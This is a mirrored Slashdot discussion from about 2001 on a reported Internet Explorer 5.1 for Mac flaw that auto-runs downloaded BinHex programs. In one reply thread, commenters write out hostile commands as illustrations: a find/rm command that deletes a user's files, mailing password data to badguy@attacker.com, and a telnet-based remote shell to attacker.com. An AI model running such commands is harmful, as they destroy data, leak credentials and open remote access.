Slashdot Mirror


Huge security hole in Internet Explorer for MacOS

Brad Lucier writes "Macintouch is reporting (go down the page a bit) that Internet Explorer 5.1, which comes preinstalled on MacOS X 10.1, has a huge security hole---when it downloads arbitrary programs encoded in the Macintosh's standard BinHex (.hqx) format, it automatically executes them. " Well I guess thats one way to make Unix insecure. Can anyone actually confirm this since it looks kinda sketchy. I wonder what someone's rationale would be for that:"Oh this won't hurt anyone, and saving that extra 'OK' click will be great!".

606 comments

  1. IE Flaw by sabinm · · Score: 0, Flamebait

    So is that really MS$ or a throw back for MAC's inablility to play nice on the web?

    --
    http://cincyboys.blogspot.com/ Everything Cincinnati. Including the word 'Finnih'
    1. Re:IE Flaw by Daniel+Dvorkin · · Score: 2, Funny

      The Mac has always played nice on the Web. What are you talking about?

      --
      The correlation between ignorance of statistics and using "correlation is not causation" as an argument is close to 1.
    2. Re:IE Flaw by sabinm · · Score: 1

      you should probably read the ars technica article on meta data. it'll help you out a lot. all those data forks and file conversions and so forth.

      --
      http://cincyboys.blogspot.com/ Everything Cincinnati. Including the word 'Finnih'
    3. Re:IE Flaw by Anonymous Coward · · Score: 1, Insightful

      And it's Mac not MAC. MAC is a networking term.

    4. Re:IE Flaw by Daniel+Dvorkin · · Score: 2

      Actually, I did read the article. IIRC, the author points out that file and creator type are not part of the Mac's resource fork, but rather its data fork. So while such information is certainly metadata, there's no good reasons that other OS's shouldn't be able to interpret Mac file type information. (Application type is a little trickier, I admit, but that should be information which a user is free to ignore anyway.)

      I strongly agree with the author's contention that suffixes are a lousy way to identify file type, and as a long-term Mac guy, I'm dismayed that MacOS X (which is in almost every other respect a great OS) is moving so strongly in the direction of suffix-identified files.

      In any case, none of that is directly relevant here. The IE flaw has to do with the Mac as a file client, not a server.

      --
      The correlation between ignorance of statistics and using "correlation is not causation" as an argument is close to 1.
    5. Re:IE Flaw by Anonymous Coward · · Score: 0

      if i recall, the type and creator are not on either fork, but are rather part of the file system (like creator date, filename, node number, etc)

    6. Re:IE Flaw by dair · · Score: 1
      IIRC, the author points out that file and creator type are not part of the Mac's resource fork, but rather its data fork.
      It's not part of either fork, it's part of the HFS(+) filesystem - it lives in the same place as creation/modification date and the like.

      -dair
    7. Re:IE Flaw by Anonymous Coward · · Score: 0

      Actually, OS X does use the type/creator stuff still on HFS systems. But it can respect the suffix - though i'm not sure which is the preferred method.

      The type/creator is by far a cleaner approach, albeit not as compatible with less capable file systems.

      Tom

    8. Re:IE Flaw by daevt · · Score: 0, Offtopic

      your an idiot.

    9. Re:IE Flaw by MaxVlast · · Score: 1

      The MAC is an aspect of your network card. A Mac is a computer.

      --
      There should be a moratorium on the use of the apostrophe.
      Max V.
      NeXTMail/MIME Mail welcome
    10. Re:IE Flaw by Anonymous Coward · · Score: 0

      if I had mod points: -1, Flaimbait

    11. Re:IE Flaw by DavidRavenMoon · · Score: 1
      This is a non issue anyway. I tried it. The guy posted an app that is supposed to launch after you download it. I downloaded it with IE. It didn't launch. I think the person who reported this has his system configured weird.

      I'm running Mac OS X 10.1 on a 466 MHz G4.

      --
      -- if it was so, it might be; and if it were so, it would be; but as it isn't, it ain't. That's logic - Lewis Carrol
    12. Re:IE Flaw by Not2Bryt64 · · Score: 1

      your an idiot.
      no, you're an idiot.
      sorry, couldn't resist.

      --
      -These aren't my pants.
    13. Re:IE Flaw by Anonymous Coward · · Score: 0

      Typical Slashdot bias. One person reports this, in the whole country, and Slashdot posts it as news with giant, unquestioning headline.

    14. Re:IE Flaw by nonsisente · · Score: 1


      Actually, Type and Creator codes are stored in the data of the .hqx file and then written as metadata on the decoded file.

  2. Wow by bigbrett · · Score: 0, Redundant

    Brilliant. That sort of decision runs by whole teams, I would imagine. Why doesn't anyone speak up? I would imagine that folks on the apple side saw that, also.

    1. Re:Wow by i_like_ham · · Score: 1

      "an moron"?!? Is there any chance we can get "Anonymous Coward" changed to "Anonymous Moron"? And while I'm at it, how about a different type of post, one that is clearly distinguishable visually, and is exempt from the compression filter? It could be used for short quips, relevant URLs (without the need for extended explanation), etc.

    2. Re:Wow by Anonymous Coward · · Score: 0

      This is bizarre. It seems that no post, of any length, is allowed to be posted as a reply to cid #2381123. I just attempted to post the following as a followup to 2381123; despite its length, it still hits the same postersubj compression filter. What is going on here? Either there is some bizarre bug in slashdot, or an administrator somewhere has given 2381123 some kind of special protection. If so, i am extremely confused to find any /. god would have as idiotic a sense of humor as that.

      ---

      What the hell?

      Okay, this is unacceptable. Completely so.

      Yesterday i attempted to make a post replying to the post i am now replying to. It said, essentially, will you please give some indication that you are not making up what you are saying completely, and if you are making it up then will you kindly fuck off.

      Slashdot would not allow me to post it. It kept saying something about a "postersubj compression filter", not explaining what this meant, despite the fact the post was a good two paragraphs long to begin with-- longer than the post it was responding to, anyway. I added a couple paragraphs, rewrote it a couple times; no matter how long it got, slashdot would not allow it to be posted. Shortly after this slashdot went down for about ten minutes, and i gave up. I wandered off, assuming no one would pay attention to this idiotic comment, so replying to it would be pointless.

      I am so, now, incredibly horrified to return and find this post at score:2 funny (??) for absolutely no reason i can divine. I find it highly offensive, to be honest, that three people exist somewhere in the world who would consider post #2381123 to have any worth at all.

      This post is not coherent, insightful, or ANYTHING. I am completely unable to understand where in this the humor is; I am completely unable to understand what would possess someone to make such a post, or to mod it up. I will repeat what i said in my original post: i have been talking to 'average mac users' since this story broke, and every single one of them has been the conclusion that most any person who knows how to use a mouse would come to; namely, that it is absolutely bizarre behavior for any file transfer app to automatically post

      (If you are going to say, well, of course he made it up, it was a joke; i say, if it does not involve some sort of irony, humor, or insight, then it is not a joke.)

      Sorry, am i being long-winded? Guess i have to. Slashdot sure does have a problem with short posts, i suppose. I probably shouldn't have posted anything at all, but when something like THIS gets voted up to score:2 i feel i need to respond. I would respond the same way, only more quizzically, were i to find one of the troll anti-islam posts that have been peppering the forums at score:2.

      Thank you and good-bye. Hrrmph.

  3. Intrinsic Security in OS X by Buran · · Score: 4, Insightful

    The fact that OS X is based on FreeBSD may very well keep this hole from becoming as damaging as it is on Windows. Unless you're logged in as root or an Admin user -- always a good idea to be a 'normal' user whenever possible -- I don't know how damaging a malicious program can be. It'd have to get around some pretty strong security.

    To what extent do others out there think this fact might "save" IE from being the terrible security disaster under OS X that it is on Windows?

    I've got it on my 10.1 system, but I never use it; Mozilla 0.9.4 is far nicer (to me, anyway.)

    1. Re:Intrinsic Security in OS X by Bastian · · Score: 2

      Although I doubt it could bring a system to its knees, and I don't know how you could make a virus continue to propagate itself that way, since I doubt you could get at the webserver from a user account, any exploits using this would likely be limited to trojan status.
      A single infection, however, could still be just as damaging from the standpoint of a user. Lost data is still lost data.

    2. Re:Intrinsic Security in OS X by Anonymous Coward · · Score: 1, Insightful

      Same as on Win2k - you can login as a non-admin user and do everything you need to and the 'bug' wont be so big.

    3. Re:Intrinsic Security in OS X by mr3038 · · Score: 5, Insightful
      Unless you're logged in as root... I don't know how damaging a malicious program can be

      This is correct. However, this practically causes every local exploit to be remote exploit which makes things pretty much easier for an attacker. In addition it really doesn't matter if malicious code destroys only your personal data or your personal data and system libraries. You're fscked anyway!

      --
      _________________________
      Spelling and grammar mistakes left as an exercise for the reader.
    4. Re:Intrinsic Security in OS X by Anonymous Coward · · Score: 2, Interesting

      While this may be true, it is completely unacceptable that Microsoft made execution of a downloaded encrypted binhex file default. The only possible explanation for this behavior is an attempt by Microsoft to generate negative press for the Mac by allowing this vector of unprotected program execution. Also, it has always been standard to offload the decoding of these files to Stuffit Expander or other such decompression programs. None of these other programs have ever had this so-called execution upon dowload as the default behavior. This is seriously irresponsible and Microsoft deserves a public grilling for it. I am glad there are so many other options on Mac OS X for surfing the web. Users, I think, should use them and avoid this flawed mess.

    5. Re:Intrinsic Security in OS X by Anonymous Coward · · Score: 0

      You forget that OS X still has the full Classic MacOS environment, and that has the same protections from unprivledged users that it always has had -- None. So, there's plenty of damage that could be done.

      In addition, Darwin's a new deal -- nobody knows if there's lots of local root exploits or only a few.

      Furthermore, we've seen the types of exploits that have been out lately that involve e-mailing crap all over the place. These wouldn't require root access on any NT/OSX/Unix to work.

    6. Re:Intrinsic Security in OS X by Urchlay · · Score: 1

      Uh, I dunno about you, but if I were to rm -rf /home/urchlay it would be pretty devastating to me.. sure, it wouldn't hurt my OS any, or affect any other users (if I had them), but there's a *lot* of stuff in my home dir... This is on Linux, but the same would apply on any OS with per-user home directories...

    7. Re:Intrinsic Security in OS X by kilgore_47 · · Score: 1

      The default user can sudo, for one thing.
      So, in theory, a malicious program could wait until it can record the user's password and then use that to become root.
      Or maybe I understand sudo wrong.

      --
      ___
      The way to see by faith is to shut the eye of reason. --Ben Franklin
    8. Re:Intrinsic Security in OS X by Anonymous Coward · · Score: 0

      As far as I know, FreeBSD doesn't promise the same kind of security against local users as it does against remote attackers. Unless you run Tripwire or something on your home directory, or rather, root does, there are tons of little unwatched .files that can be exploited, as well as ways to fool the user into thinking he's facing a real login prompt. And I think a box owned by joeschmoe@home.net is as bad as one owned by root@home.net as far as the rest of the internet is concerned.

    9. Re:Intrinsic Security in OS X by Anonymous Coward · · Score: 0

      Unless you're logged in as root

      Small but irrelivant note: there is no root account by default on mac os x. Root things, such as accessing the /System directory, must go through sudo.

      Many programs-- all programs that have something happen at startup, i believe-- require the user to insert their password (to feed to sudo) when they are being installed.

      When you install programs, you don't know if there's something malicious in them. In any OS. Do you suggest there's some way we could get around this? Maybe they could make /Applications writable only by sudoing, but face it: that would drive most people crazy.

      You ./configure;make install as root, dont'cha? How does that make you any better than the os x users? How do you know there isn't a trojan in that Makefile..?

    10. Re:Intrinsic Security in OS X by dankow · · Score: 2, Informative

      Using a regular user account is all well and good, but the vast majority of OS X users will be using an admin account, since the OS setup process creates an admin account for the main user. Most people won't think to create another account.

      BTW, I tested this hole, and it is as bad as it sounds. Macslash.com has a nice little demo that you can try yourself if you're running 10.1.

      --
      I am the hub of jack's digital universe.

      --
      I am the hub of Jack's digital lifestyle.
    11. Re:Intrinsic Security in OS X by TrumpetPower! · · Score: 3, Interesting

      rm -rf /home/urchlay

      If mass destruction is your aim, then the following will do the job nicely:

      find / -user $USER -exec rm -f {} \;

      Or, you could:

      mail badguy@attacker.com < /etc/passwd

      Maybe it'd be a program to brute-force su, something often possible (brute-forcing ssh or telnet usually isn't.

      With a bit more work, you could:

      telnet attacker.com 666

      And run something on port 666 on attacker.com that gives attacker.com shell access.

      All this assumes the rest of the operating system's security is iron-clad. Local exploits are, in general, much easier to pull off than remote ones. Account compromise is not a nice thing, at all.

      b&

      --
      All but God can prove this sentence true.
    12. Re:Intrinsic Security in OS X by byran+lei · · Score: 1

      >You ./configure;make install as root, dont'cha? How does that make you
      >any better than the os x users? How do you know there isn't a trojan
      >in that Makefile..?

      Nope. You can easily install the program pretty much anywhere you want to. I often ./configure;make install in my ~/home directory.

    13. Re:Intrinsic Security in OS X by hearingaid · · Score: 1
      The fact that OS X is based on FreeBSD may very well keep this hole from becoming as damaging as it is on Windows.

      OS X is not based on FreeBSD.

      OS X has a Mach kernel. FreeBSD's kernel is based on the Mach kernel.

      Apple has hired FreeBSD developers, yes. However, OS X is merely a part of the BSD family of operating systems, which includes plenty other proprietary Unices.

      As for how damaging this could be... Suppose somebody wrote a little OS X program which sent /etc/master.passwd as a file attachment to an anonymous maildrop, and then proceeded to run crack on all resulting password files.

      How irritating.

      However, it's not really that big a hole. People have to download the binaries in the first place: if they don't, then there's no binary to execute. If they do, then they were probably going to run it anyway. The only place I can see where this might be a Big Problem would be if a JavaScript triggered the download.

      --

      my old sig used to be funny, but then slashcode ate it and now it's not funny anymore

    14. Re:Intrinsic Security in OS X by Anonymous Coward · · Score: 0

      admins surf from web/mail servers all the times ... i've seen some wierd, wierd entries in my logfiles (lots of smtp.somewebsite.com reverse lookups)...

    15. Re:Intrinsic Security in OS X by Anonymous Coward · · Score: 0

      > Unless you're logged in as root or an Admin
      > user -- always a good idea to be a 'normal'
      > user whenever possible -- I don't know how
      > damaging a malicious program can be.

      Well, just as damaging as it can be under Windows. The same rules apply - if you're logged in as a "normal user," then nothing crucial other than your data will be vulnerable under either OS.

    16. Re:Intrinsic Security in OS X by Anonymous Coward · · Score: 0

      Interesting post.

      But it would help if you actually used a NeXTstep 6.0 (oops, I meant Mac OS X) machine.

      > mail badguy@attacker.com < /etc/passwd

      localhost% cat /etc/password
      cat: /etc/password: No such file or directory
      localhost%

      For wanabee crackers, Mac OS X uses netinfo. You should use:

      nidump passwd / | badguy@attacker.com

      > With a bit more work, you could:

      > telnet attacker.com 666

      > And run something on port 666 on attacker.com that gives attacker.com shell access.

      Mmmm. You mix things there. telneting to port 666 on attacker.com won't help you running anything on local port 666. man inetd is your friend, here.

      Cheers,

      --fred

    17. Re:Intrinsic Security in OS X by Dr.+Sp0ng · · Score: 2

      OS X has a Mach kernel. FreeBSD's kernel is based on the Mach kernel.

      Wrong. Darwin is based on FreeBSD 3.2 (IIRC... I may have the version wrong), ported to Mach, with lots of optimizations to get rid of some of Mach's performance issues and some funky Apple-isms. OS X then runs on top of Darwin.

    18. Re:Intrinsic Security in OS X by Enahs · · Score: 1
      Aargh!



      The fact that OS X is based on FreeBSD may very well keep this hole from becoming as damaging as it is on Windows.



      Wow. Amazing what's "Insightful" these days. Check yo' facts, Buran. FreeBSD != BSD. MacOS X != FreeBSD. They're both BSDs, though. Get it?

      --
      Stating on Slashdot that I like cheese since 1997.
    19. Re:Intrinsic Security in OS X by TrumpetPower! · · Score: 1

      I wasn't aware that Mac OS X uses netinfo...but I'm sure a ``wanabee cracker'' would, considering this is an OS X-specific attack.

      > And run something on port 666 on attacker.com that gives attacker.com shell access.

      Mmmm. You mix things there. telneting to port 666 on attacker.com won't help you running anything on local port 666. man inetd is your friend, here.

      Ah...you misunderstand me. The exploit program on the attacked machine has full access to that machine as the user who downloaded it. The program starts a shell, connects to attacker.com, and redirects I/O so that incoming packets from attacker.com are passed to the shell's stdin, and stdout and sterr are sent to attacker.com. Voila! Remote shell, initiated locally.

      A good firewall, including use of proxy servers, would protect you from this particular scenario (which is why that's how I have things set up on my own network), but little else will.

      Yours,

      b&

      --
      All but God can prove this sentence true.
    20. Re:Intrinsic Security in OS X by Anonymous Coward · · Score: 0

      You can. It's probably much better to do it that way. But most people don't.

      OS X users, conversely, could if they felt like it fuddle with the permissions so that their account cannot change /Applications-- or anything outside their home dir-- without sudoing, and take away their low-level NetInfo priviliges. They could also make themselves a ~/Applications and uninstall classic. But almost none of them do any of these things.

      You have elegantly demonstrated to us that you are a more security-consious linux user than most. However your post does little to show mac os x as being intrinsically less secure in the general case than linux (though this may not have been your purpose in posting anyway). Thanks for responding tho :)

      - the original AC, who apologizes if his original post was a bit incoherent, and who has quite a lot of applications installed in the ~/usr/bin of the shell he has on his college's SunOS box

    21. Re:Intrinsic Security in OS X by Anonymous Coward · · Score: 0

      > > > > And run something on port 666 on attacker.com that gives attacker.com shell access.
      [...]
      > Ah...you misunderstand me. The exploit program on the attacked machine has full access to that machine as the user who downloaded it

      I stand corrected. In the hurry to earn AC karma points, I didn't noticed that you said run something on port 666 of *attacker.com*

      In that case, you'd better run it on attacker.com port 80, as it will probably pass throught most firewalls.

      Cheers,

      --fred

    22. Re:Intrinsic Security in OS X by Phroggy · · Score: 2

      The fact that OS X is based on FreeBSD may very well keep this hole from becoming as damaging as it is on Windows. Unless you're logged in as root or an Admin user -- always a good idea to be a 'normal' user whenever possible -- I don't know how damaging a malicious program can be. It'd have to get around some pretty strong security.

      Nope. On a single-user system, you'll probably be logged in as an Administrator, which gives you full write access to /Applications, /Library (including /Library/Printers, /Library/Fonts, /Library/Desktop Pictures, /Library/Internet Plug-Ins, /Library/WebServer, etc.), plus your entire home directory, including everything on the desktop, your Documents folder, all your preferences, etc. etc. If you're not logged in as an Administrator, you don't have write access to /Library or /Applications, but you still have full access to everything in your home.

      The only additional thing root gives you is write access to /System and the hidden BSD directories like /usr, /var, /etc, /bin, /sbin and such. So, you can trash all your files and apps, but can't touch the OS itself, which you could really just reinstall if you wanted to anyway. That takes under half an hour. Recovering all your data? Hope you've been putting that CD-RW drive to good use.

      --
      $x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
      $x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
    23. Re:Intrinsic Security in OS X by Buran · · Score: 1
      To use sudo (superuser do), you have to have an administrative account. Regular users cannot use it. OS X apparently (I haven't taken a look at the actual file) automatically places "Admin" users in the sudoers file:
      sudo allows a permitted user to execute a command as the superuser or another user, as specified in the sudoers file. The real and effective uid and gid are set to match those of the target user as specified in the passwd file (the group vector is also initialized when the target user is not root). By default, sudo requires that users authenticate themselves with a password (NOTE: this is the user's password, not the root password). Once a user has been authenticated, a timestamp is updated and the user may then use sudo without a password for a short period of time (five minutes by default).
      (from the man page on sudo on a FreeBSD system on which I have a shell account.)
    24. Re:Intrinsic Security in OS X by einstein · · Score: 2

      I've run ./configure where the last few lines are:
      creating libtool
      loading cache ./config.cache
      creating ./config.status
      creating Makefile
      creating src/Makefile
      checking for r00taxx in -lr00t... no
      no r00t? Darn!

      yeah, needless to say, that makefile and source got a closer looking at...

      if you're curious, this was avi-xmms, a plugin for xmms that uses its playlist for avi files played by aviplay...

      if I actually ever get it compiled :)
      ---

    25. Re:Intrinsic Security in OS X by freakonaleash881 · · Score: 2, Informative
      Same as on Win2k - you can login as a non-admin user and do everything you need to and the 'bug' wont be so big.

      True, but since win2k doesn't have the equivalent of sudo or su, it can be a serious pain in the ass, especially for some luser who can't figure out why they can't do something unless they log out and log back in as admin, not a quick operation.

      I would say that windows security (I know, an oxymoron) has improved since the bad old days of DOS, but it leaves much to be desired.

      --

      Elen sila lumenn' omentielvo...a star shines on the hour of our meeting
    26. Re:Intrinsic Security in OS X by Tony-A · · Score: 1

      Part of the Microsoft Internet Infection Strategy?

    27. Re:Intrinsic Security in OS X by dvdeug · · Score: 2

      > People have to download the binaries in the first place: if they don't, then there's no binary to execute. If they do, then they were probably going to run it anyway.

      The problem is, there's no way to tell the difference between a data file and an executable that's been compressed. Say, you find a font with the letters in the shape of Natalie Portman in Mac format, and download it. If someone decided to put a trojan in instead of a font, then you're screwed.

    28. Re:Intrinsic Security in OS X by Anonymous Coward · · Score: 0

      Don't be a twit. It can delete all of the users data, or just infect user binaries with a virus, right??

    29. Re:Intrinsic Security in OS X by styrotech · · Score: 2, Funny

      True, but since win2k doesn't have the equivalent of sudo or su, it can be a serious pain in the ass, especially for some luser who can't figure out why they can't do something unless they log out and log back in as admin, not a quick operation.

      Not quite, W2K introduced the "Run as..." feature, and the NT Resource Kits have a su in them.
      Don't get me wrong, they're still a bit of a PITA to use and not as transparent as sudo (but sudo is a bit of a hack really). They are there though.

      I hate MS as much as the next guy, but will correct any incorrect MS bashing (don't worry, there's still plenty of other things to bash).

    30. Re:Intrinsic Security in OS X by ahknight · · Score: 2

      Odd; I'm using 10.1 and it doesn't do squat. Oh well, I should be happy, then.

    31. Re:Intrinsic Security in OS X by Anonymous Coward · · Score: 0

      That's RMS's opinion as su is a GNU util.

    32. Re:Intrinsic Security in OS X by ceeam · · Score: 1

      The fact that OS X is based on FreeBSD may very well keep this hole from becoming as damaging as it is on Windows. Unless you're logged in as root or an Admin user -- always a good idea to be a 'normal' user whenever possible

      Sure, it this case all you can damage is your files - you know you don't need them anyway...

    33. Re:Intrinsic Security in OS X by MrFudd · · Score: 1

      The sudo man in Linux (Redhat 7.1) is the same. It's unclear from this description that the user's password refers to the target user. So, if a user wants to su root, they must supply the root password, not their normal password.

      --
      If you meet the wabbit on the woad...
    34. Re:Intrinsic Security in OS X by mancuskc · · Score: 1

      Wouldn't the port have to over 1024? (for a non root user)

      Mac X is a unix port after all.....

      --
      When I were your age, all round here were fields...
    35. Re:Intrinsic Security in OS X by Anonymous Coward · · Score: 0

      Apple did start with BSD 4.4Lite (or 4.3Encumbered or something) which is what they got from OpenStep. They just tacked a bunch of semi-up-to-date NetBSD crap on top. Part of the reason that OS X's unix layer is so sorely out of date.

    36. Re:Intrinsic Security in OS X by Anonymous Coward · · Score: 0

      Yep. They seem to like seeing their name in the headlines. Even if it isn't good news.

    37. Re:Intrinsic Security in OS X by sir99 · · Score: 1

      No, it's the password of the user who is executing sudo. I know, after trying to figure out why it wasn't working for me; I was using the root password instead of my own!

      --
      The ocean parts and the meteors come down
      Laid out in amber, baby.
    38. Re:Intrinsic Security in OS X by Anonymous Coward · · Score: 0

      all you have to do is turn off that option in IE. The reason Microsoft does stupid stuff like that is for the uneducated user who really doesn't want to have to click OK one more time. I guess all that energy they exert on their index finger is just too much.

    39. Re:Intrinsic Security in OS X by Anonymous Coward · · Score: 0

      I think YOU may want to check YOUR facts. The OS X team started with the Free BSD Kernel. Now I think you owe that other guy an appology.

    40. Re:Intrinsic Security in OS X by Anonymous Coward · · Score: 0

      Well, I know people are having a lot of fun with this and I hate to rain on their parade, but if a test group of one counts for anything, this security hole doesn't exist. I've installed 10.1 and haven't noticed anything different. I wen't to the dark side and downloaded the hqx compressed Word trial application. As always the download starts, it finishes, it decompresses, the new application sits there and waits form me to double click to launch. If that's a big security hole, most internet apps on all systems are flawed. If someone doesn't want the file to decompress, tell the appication not to.

    41. Re:Intrinsic Security in OS X by csmiller · · Score: 1

      It is obvious that sudo should take your password, not root's. If you know root's you can use su -l and do anything, totaly by-passing the point of sudo. Like passwd, it needs to confirm that you are the logged on user, not someone else who has snuck in whilst you are getting some caffine.

      --
      It has become appallingly obvious that our technology has exceeded our humanity. --- Albert Einstein
    42. Re:Intrinsic Security in OS X by Anonymous Coward · · Score: 0

      Nope. He was talking about a port on the attacking machine, not the attacked one...

      Cheers,

      --fred

  4. Sigh. by DarkZero · · Score: 3, Funny
    And of course, the media will portray this as "a problem with computers in general" (often used), "a fundamental problem in the structure of the internet" (Code Red), etc. And Microsoft will portray it as "Just one of those unavoidable things that happens when you used a Unix-based operating system".

    Fuckin' morons.

    1. Re:Sigh. by !recycle · · Score: 2, Funny

      Yeah and now my mom can freak out when her lame job sends out a warning (even though they use windows NT).

      i can hear it now "Oh my God, There is a terrible bug in all comuters, you have to shut off and go hide in a bunker. The world is coming to an end!"

      --
      my sig sucks.
    2. Re:Sigh. by J'raxis · · Score: 0, Redundant

      No, they wont. When its a problem with Windows, or Microsoft software running on Windows, its reported as a general computer problem. This is a problem with Macintosh. Im sure that the media will point that out very specifically.

    3. Re:Sigh. by Anonymous Coward · · Score: 0

      Which is brilliant from MS POV in order to make
      OS X.1 look bad. This seems so obvious that I
      would't be surprised for it to be an intentional
      security fault, which is even more dangerous.

    4. Re:Sigh. by GnulixRulz · · Score: 1

      CNN actually had the balls to refer to nimda
      as a virus that affects Microsoft boxes. But you're
      right, that's hardly ever said. Wouldn't bode well
      for future advertisements from Micro$oft. :)

    5. Re:Sigh. by Stephen+Samuel · · Score: 2

      reminds me of a sign I put together many years ago... Poster format on 2 11x17 sheets of form-feed line printer paper...
      SIGNOFF! The Universe is going down.

      --
      Free Software: Like love, it grows best when given away.
    6. Re:Sigh. by outerphase · · Score: 0

      hmmm I thought the whole mac platform was a security hole

      -j

      --
      mmmmmm....orchestrated insanity
  5. Preferences by Anonymous Coward · · Score: 4, Informative

    You can turn off the automatic decoding of bin.hex files in the prefences panel under "downloading options". This allows people to have some control.

    1. Re:Preferences by psychothemighty · · Score: 0, Offtopic

      why anonymous? think different.

    2. Re:Preferences by Anonymous Coward · · Score: 0

      While this may be true, it does not excuse Microsoft from making this the default behavior. That is inexusable and Microsoft deserves a severe public flogging.

    3. Re:Preferences by Master+Bait · · Score: 3, Informative
      I guess that is prevention, but it is still a lame to not be able to decode your files automatically.

      Over the years, Mac owners have enjoyed the ability to automaticall decode hqx and sit files without having them execute!

      I say dump IE completely and use the alternates of which there are plenty.

      --
      "Only in their dreams can men truly be free 'twas always thus, and always thus will be."
      --Tom Schulman
    4. Re:Preferences by aralin · · Score: 2

      And as always its turned ON by default! This is what makes Microsoft products so terribly insecure. The default settings they are using with all security turned off.

      --
      If programs would be read like poetry, most programmers would be Vogons.
    5. Re:Preferences by Anonymous Coward · · Score: 0

      Maybe he's not a karma whore?

      Believe it or not, such things DO exist on /.!

    6. Re:Preferences by Anonymous Coward · · Score: 0

      As opposed to Redhat and their auto-enabled security holes?

    7. Re:Preferences by Telek · · Score: 2

      correct me if I'm wrong, but isn't .hqx the same thing as .zip in PCs?

      doesn't that mean that the only thing that it will do is run your decompressor automatically?

      which is not a big deal at all?

      --

      If God gave us curiosity
    8. Re:Preferences by Anonymous Coward · · Score: 0

      HQX is a hex encoded file, it's not compressed, it's actually larger than the orginal bin.
      "SIT" is usually compressed.

      You can just switch off the feature in the prefs panel. No biggie.

      I mostly use Mozilla anyway, although it's much slower than IE for MacOSX

      OSX rocks !

    9. Re:Preferences by thrig · · Score: 2

      You said it. And since this is a unix system here, you can serve justice to Microsoft, in a small way:

      rm -rf /Applications/Internet\ Explorer*

      Try it on the next OS X machine you admin. Very therapeutic, IMHO.

    10. Re:Preferences by jrockway · · Score: 1

      hqx squishes files (converts data fork and resource fork to one file, which is encoded in normal characters [ABCDEF...]). What IE does is decode this and execute the result (since it's often a compressed file).

      --
      My other car is first.
    11. Re:Preferences by Andrewkov · · Score: 2, Troll

      Wow, it's nice that Mac users can now enjoy the ease of use and power of Microsoft programs. I wonder if they'll want to switch to a Wintel machine after this one bites them in the ass!

    12. Re:Preferences by RevAaron · · Score: 2

      ...then install iCab.

      --

      Working toward a usable PDA environment in the spirit of Newton OS: Dynapad
    13. Re:Preferences by deusx · · Score: 2

      ...or OmniWeb (beautiful plumage!)

      ...or Mozilla (hey, it runs!)

      :)

    14. Re:Preferences by RevAaron · · Score: 2

      I wish OmniWeb wasn't so slow. It used to be pretty nice under OpenStep and Rhapsody/DR2. Kind of slow on my NeXT cube, but eh. But slow on my iBook is more disapointing.

      --

      Working toward a usable PDA environment in the spirit of Newton OS: Dynapad
    15. Re:Preferences by krugdm · · Score: 2, Informative

      Actually, I turned these off, and files are still decoded automagically by Expander, but no launching afterwards.

    16. Re:Preferences by MaxVlast · · Score: 1

      OW 3.0 is slow as crap on my turbo cube, but 4.0 is quite peppy on my PB G3 (500MHz). Get 10.1 -- it makes things move like a snap.

      --
      There should be a moratorium on the use of the apostrophe.
      Max V.
      NeXTMail/MIME Mail welcome
    17. Re:Preferences by BlowCat · · Score: 2
      The problem is not with automatic decoding of files. It's OK to have automatic decoding by default. The problem is with a bug that causes running the program after decoding it.

      It is not a bug in the default settings. It's a bug that can be worked around by changing the settings.

    18. Re:Preferences by BlowCat · · Score: 2
      Please distinguish between enabling features by default and enabling services by default.

      Expecting a service to have holes (especially in the default install) is reasonable. But if a feature is believed likely to be broken, it shouldn't be in the release at all.

    19. Re:Preferences by thrig · · Score: 1

      Rumors have it the OmniGroup is working on a 4.1 version to go along with 10.1 which should be faster.

      And as MaxVlast says, 10.1 is spiffy.

    20. Re:Preferences by Anonymous Coward · · Score: 0

      What IE does is decode this and execute the result without regard to whether or not it is a compressed file. Which is really, really poor behavior and puts the user's personal data at risk of erasure or even transmission, not to mention the computer itself being comprised. Microsoft really screwed up on this one.

    21. Re:Preferences by MonkeyBoy · · Score: 1

      No. .sit is the same thing as .zip, a compression method.

      .hqx is the same thing as .uu, and encoding method to prevent corruption due to storage on/passing through other systems (.e.g 7-bit Un*x boxes)...

      And if you read the link you'll notice that:

      1) IE decodes HQX attachments without the use of an external program
      2) After downloading & decoding the attachment (decodes on-the-fly actually), it launches the attachment.

      While this behavior can be turned off (with little consequence since Stuffit Expander can decode HQX-encoded files), the default behavior is to perform steps 1 & 2 above.

      This is a change from the older IEs, which also decoded automatically but only launched a program if it was a StuffIt archive or some other type of file - the attachment itself, if it was an application, wouldn't be launched (except by the "helper" application, which is like a QuickTime movie clip being read by QuickTime Player).

      All of this was under your control through Preferences of course. And in the new one... they're a shadow of it's former self...

      --

      Moof!

    22. Re:Preferences by stux · · Score: 1

      BinHex (.hqx) does 4 main things

      1) stores a header which contains the macos finder file information, modification dates, icon settings, filetype, creator code, etc etc,
      2) appends the data fork to the header
      3) appends the resource fork to the header+data
      4) converts the lot to a 7 bit ascii encoding, like UU encoding.

      The real difference is 1,2 & 3

      There is another encoding, MacBinary (.bin) which is similar to binhex, but uses an 8 bit encoding, so is 1/8th more efficient.. ie it just does steps 1,2 & 3, without the 4th (uuencode style) step.

      .bin is preferred, .hqx is required for email and other brain dead transport formats.

      --

      ---
      Live Long & Prosper \\//_
      CYA STUX =`B^) 'da Captain,
      Jedi & Last *-fytr
    23. Re:Preferences by RevAaron · · Score: 2

      I've got a 10.1 iso sitting around, but am wary to install it, because it breaks Xfree. Not read yet whether or not it's easily fixed, just what the ol' Mac boards are telling me.

      --

      Working toward a usable PDA environment in the spirit of Newton OS: Dynapad
  6. Well, yeah..... by kerincosford · · Score: 4, Insightful

    ...this always struck me as a little odd.

    I've recently started using Mac OSX for dev work, and so I've only just really got accustomed to the OS.

    This isn't a OS10.1-specific thing. Straight OS10 does exactly the same thing.

    It is dumb, but you can turn it off in the preferences panel. My guess would be that most users would turn it off when they go into the Prefs to change the default download location (as MacIE5 doesnt ask you for a download folder) to something more sensible.

    Ppfffff.

    Personally, I don't think this is an *enormous* worry for the average user. Imagine if PC IE6 did this. All hell would break loose. But, theres just not that many nasties lurking for the Mac OSX user, really. And besides, the more savvy users will shut this feature off.

    It is mighty dumb though. And not even that userfriendly. When StuffIt starts up to expand your files, it steals focus from what you're doing and makes your system chug like hell on OS10.1.

  7. ...As I read this article using said browser by kid_koexist · · Score: 1

    Hmm, was that chill from reading the article using IE 5 on OSX 10.1, or from that strong gulp of coffee that i just drank?

